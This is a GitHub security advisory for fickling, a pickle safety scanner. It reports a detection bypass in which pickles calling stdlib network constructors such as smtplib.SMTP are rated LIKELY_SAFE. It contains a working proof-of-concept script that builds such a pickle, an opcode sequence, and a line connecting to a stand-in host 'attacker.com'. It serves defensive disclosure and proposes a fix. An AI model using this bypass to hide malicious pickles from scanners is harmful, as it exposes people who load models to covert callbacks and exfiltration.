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Fickling has a detection bypass via stdlib network-protocol constructors

Low severity GitHub Reviewed Published Feb 19, 2026 in trailofbits/fickling • Updated Feb 20, 2026

Package

pip fickling (pip)

Affected versions

<= 0.1.7

Patched versions

None

Description

Our assessment

imtplib, imaplib, ftplib, poplib, telnetlib, and nntplib are added to the list of unsafe imports (trailofbits/fickling@6d20564). The UnusedVariables heuristic works as expected.

Original report

Summary

Fickling's check_safety() API and --check-safety CLI flag incorrectly rate as
LIKELY_SAFE pickle files that open outbound TCP connections at deserialization time
using stdlib network-protocol constructors: smtplib.SMTP, imaplib.IMAP4,
ftplib.FTP, poplib.POP3, telnetlib.Telnet, and nntplib.NNTP.

The bypass exploits two independent root causes described below.


Root Cause 1: Incomplete blocklist (fixed in PR #233)

fickling/fickle.py (lines 41-97) defines UNSAFE_IMPORTS, the primary blocklist.
fickling/analysis.py (lines 229-248) defines the parallel
UnsafeImportsML.UNSAFE_MODULES dict. Both omitted the following stdlib
network-protocol modules whose constructors open a TCP socket at instantiation time:

Module Class Default port Constructor side-effect
smtplib SMTP 25 TCP connect, reads SMTP banner, sends EHLO
imaplib IMAP4 143 TCP connect, reads IMAP capability banner
ftplib FTP 21 TCP connect, reads FTP welcome banner
poplib POP3 110 TCP connect, reads POP3 greeting
telnetlib Telnet 23 TCP connect
nntplib NNTP 119 TCP connect, NNTP handshake

Because these module names were absent from both blocklists, UnsafeImportsML,
UnsafeImports, and NonStandardImports all stayed silent. All six are genuine
stdlib modules so is_std_module() returned True and NonStandardImports did
not fire.

Status: patched in PR #233. The six modules have been added to UNSAFE_IMPORTS.


Root Cause 2: Logic flaw in unused_assignments() at fickle.py:1183 (unpatched)

Description

unused_assignments() in fickling/fickle.py (lines 1174-1204) identifies variables
that are assigned but never referenced. UnusedVariables analysis calls this method
and raises SUSPICIOUS for any unreferenced variable -- this would otherwise catch a
bare REDUCE opcode that stores its result without using it.

The flaw is at line 1183. The method iterates over module_body statements and, when
it encounters the final result = <expr> assignment, breaks out of the loop
immediately without first walking the right-hand side expression for Name references:

# fickling/fickle.py:1183 (current code -- vulnerable)
if (
    len(statement.targets) == 1
    and isinstance(statement.targets[0], ast.Name)
    and statement.targets[0].id == "result"
):
    # this is the return value of the program
    break   # exits WITHOUT scanning statement.value

Any variable that appears only in the RHS of result = <expr> is therefore never
added to the used set and is incorrectly classified as unused.

How this enables bypass suppression

When fickling processes a REDUCE opcode in isolation, it generates:

_var0 = SMTP('attacker.com', 25)
result = _var0

Because the loop breaks before scanning result = _var0, _var0 never enters
used. UnusedVariables sees _var0 as unused and raises SUSPICIOUS.

Adding a BUILD opcode with an empty dict after the REDUCE changes the generated
AST to:

from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)   # dangerous call
_var1 = _var0                      # BUILD step 1: intermediate reference
_var1.__setstate__({})             # BUILD step 2: state call
result = _var1

Now _var0 appears on the RHS of _var1 = _var0, a statement processed before the
break, so _var0 correctly enters used and UnusedVariables stays silent.

The __setstate__ call is excluded from OvertlyBadEvals because
ASTProperties.visit_Call places it in calls but not in non_setstate_calls
(line 562), and OvertlyBadEvals only iterates non_setstate_calls.

The SMTP(...) call is skipped by OvertlyBadEvals because _process_import adds
SMTP to likely_safe_imports for any stdlib module (line 550), and OvertlyBadEvals
skips calls whose function name is in likely_safe_imports (lines 339-345).

Net result: zero warnings, severity LIKELY_SAFE.

This flaw is generic -- it applies to any module not on the blocklist, not just the
six fixed in PR #233. Any future blocklist gap can be silently exploited using the
same REDUCE + EMPTY_DICT + BUILD pattern as long as this flaw remains unpatched.

Bypass opcode sequence

Offset  Opcode            Argument
------  ------            --------
0       PROTO             4
2       GLOBAL            'smtplib' 'SMTP'
16      SHORT_BINUNICODE  'attacker.com'
30      BININT2           25
33      TUPLE2
34      REDUCE                          <- TCP connection opened here
35      EMPTY_DICT
36      BUILD                           <- suppresses UnusedVariables via flaw
37      STOP

Fickling's synthetic AST for this sequence (what all analysis passes inspect):

from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)
_var1 = _var0
_var1.__setstate__({})
result = _var1

No analysis rule in fickling fires on this AST.

Proof of Concept

Requires only pip install fickling. Save as poc.py and run.

import socket
import threading
import pickle

def build_bypass_pickle(host: str, port: int) -> bytes:
    h = host.encode("utf-8")
    return b"".join([
        b"\x80\x04",
        b"csmtplib\nSMTP\n",
        b"\x8c" + bytes([len(h)]) + h,
        b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]),
        b"\x86",   # TUPLE2
        b"R",      # REDUCE
        b"}",      # EMPTY_DICT
        b"b",      # BUILD
        b".",      # STOP
    ])

def run_poc():
    from fickling.analysis import check_safety
    from fickling.fickle import Pickled

    HOST, PORT = "127.0.0.1", 19902
    received = []

    def listener():
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((HOST, PORT))
        srv.listen(1)
        srv.settimeout(5)
        try:
            conn, addr = srv.accept()
            received.append(addr)
            conn.close()
        except socket.timeout:
            pass
        srv.close()

    t = threading.Thread(target=listener, daemon=True)
    t.start()

    raw = build_bypass_pickle(HOST, PORT)
    loaded = Pickled.load(raw)
    result = check_safety(loaded)

    print(f"[*] fickling severity : {result.severity.name}")
    print(f"[*] fickling is_safe  : {result.severity.name == 'LIKELY_SAFE'}")

    assert result.severity.name == "LIKELY_SAFE", "Bypass failed"
    print("[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed")

    print("[*] Calling pickle.loads() to simulate victim loading the file...")
    try:
        pickle.loads(raw)
    except Exception:
        pass

    t.join(timeout=5)

    if received:
        print(f"[+] Incoming TCP connection received from {received[0]}")
        print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE")
    else:
        print("[-] No TCP connection received (network blocked)")
        print("    fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless")

if __name__ == "__main__":
    run_poc()

Expected output

[*] fickling severity : LIKELY_SAFE
[*] fickling is_safe  : True
[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed
[*] Calling pickle.loads() to simulate victim loading the file...
[+] Incoming TCP connection received from ('127.0.0.1', 58412)
[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE

Tested on Python 3.11.1, Windows. Not OS-specific.

Impact

An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint)
can silently:

  • Enumerate victims -- receive a TCP callback every time the pickle is loaded,
    including in sandboxed environments
  • Exfiltrate host identity -- victim IP, hostname (via SMTP EHLO), and service
    banners are sent to the attacker's server
  • Probe internal services (SSRF) -- if the victim host can reach internal SMTP
    relays, IMAP stores, or FTP servers, the pickle probes those services on the
    attacker's behalf
  • Establish a covert channel -- protocol handshakes carry attacker-controlled
    bytes through a channel fickling explicitly labels safe

The is_likely_safe() helper (fickling/analysis.py:468-474) and the --check-safety
CLI flag both gate on severity == LIKELY_SAFE. This bypass clears that gate
completely with zero warnings.

Suggested fix

Walk statement.value before the break so variables referenced only in the result
assignment are correctly counted as used:

# fickling/fickle.py:1183 -- suggested fix
if (
    len(statement.targets) == 1
    and isinstance(statement.targets[0], ast.Name)
    and statement.targets[0].id == "result"
):
    # scan RHS before breaking so variables used only here are marked as used
    for node in ast.walk(statement.value):
        if isinstance(node, ast.Name):
            used.add(node.id)
    break

This is the same pattern already used for every other statement in the loop
(lines 1200-1203). All 55 non-torch tests pass with this fix applied.


Affected versions

All releases including v0.1.7 (latest). Confirmed on latest master as of
2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released).
Root cause 2 unpatched as of this report.

Reporter

Anmol Vats

References

Published to the GitHub Advisory Database Feb 20, 2026
Reviewed Feb 20, 2026
Last updated Feb 20, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-83pf-v6qq-pwmr

Source code

Credits

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